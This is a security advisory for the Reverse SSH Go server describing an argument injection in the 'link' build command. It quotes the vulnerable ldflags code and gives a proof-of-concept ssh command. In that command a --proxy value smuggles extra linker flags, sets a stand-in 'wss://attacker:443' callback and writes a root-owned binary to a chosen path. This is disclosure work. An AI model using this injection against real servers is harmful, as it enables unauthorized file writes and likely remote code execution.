Skip to content

Argument Injection in `link` Command Allows Arbitrary File Write

Moderate
NHAS published GHSA-34qp-7c4v-x897 Aug 5, 2026

Package

gomod Reverse SSH (Go)

Affected versions

< 2.8.1

Patched versions

> 2.8.1 (or > 49a8c2d)

Description

Summary

An argument injection vulnerability in the link build command allows any authenticated SSH user, including low-privilege ("user" privilege-0) accounts, to achieve an arbitrary file write on the reverse_ssh server host.
Because the official Docker image and common systemd deployments run the server as root, an attacker can write a compiled, attacker-controlled binary to any path on the server or within the docker image.

Details

The link command lets an authenticated RSSH user request a server-side go build of the client binary. Several user-supplied flag values are interpolated without validation into the -ldflags string:

internal/server/webserver/buildmanager.go:186:

buildArguments = append(buildArguments, fmt.Sprintf(
    "-ldflags=-s -w -X main.logLevel=%s -X main.destination=%s -X main.fingerprint=%s -X main.proxy=%s -X main.customSNI=%s -X main.useHostKerberos=%t -X main.ntlmProxyCreds=%s -X main.versionString=%s -X github.com/NHAS/reverse_ssh/internal.Version=%s",
    config.LogLevel, config.ConnectBackAdress, config.Fingerprint, config.Proxy,
    config.SNI, config.UseKerberosAuth, config.NTLMProxyCreds,
    strings.TrimSpace(config.VersionString), strings.TrimSpace(f.Version)))
...
cmd := exec.Command(buildTool, buildArguments...)  // "go" or "garble"

The values are populated directly from user-supplied link flags (internal/server/commands/link.go) with no validatio:

The Go linker parses -ldflags by splitting on whitespace, so a value containing a space plus additional flags injects extra linker flags. In particular, an injected -o <path> redirects the linker's output to an arbitrary path:

PoC

Affected deployment: server with the webserver/build manager enabled (--enable-client-downloads or --webserver), which is enabled in the official Docker entrypoint.

  1. Register a low-privilege (privilege-0) user — public key in data/keys/, no admin authorized_keys entry:
ssh-keygen -t ed25519 -f /tmp/lowuser -N "" -C lowuser
# copy the pubkey into the server's data dir as: data/keys/lowuser
  1. Trigger the exploit as that user. The full remote command must be passed as one SSH argument (inner double quotes preserve the multi-token --proxy value):
ssh -i /tmp/lowuser -p 3232 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes lowuser@127.0.0.1 \
  'link --proxy "x -X main.destination=wss://attacker:443 -o /data/LOWUSER_PLANTED" --name pwnlow'

Expected output — the build manager's own output copy fails because the linker honored the injected -o (this error is expected and does not prevent the write):

Error: exit status 1
github.com/NHAS/reverse_ssh/cmd/client: open /tmp/go-buildXXXX/b001/exe/a.out: no such file or directory
3. Confirm the arbitrary write — a root-owned, statically-linked ELF binary appears at the attacker-chosen path (in Docker, /data/... reaches the host filesystem via the bind mount):
$ ls -la ~/rssh-setup/data/LOWUSER_PLANTED
-rwxr-xr-x 1 root root 10809506 .../data/LOWUSER_PLANTED
$ file ~/rssh-setup/data/LOWUSER_PLANTED
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ strings ~/rssh-setup/data/LOWUSER_PLANTED | grep -i attacker
wss://attacker:443
image image

Impact

As the reverse ssh server specifically builds binaries that connect back to said server, and provide access it is very likely that outside of a docker deployment it would be trivial to turn this into an RCE.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Credits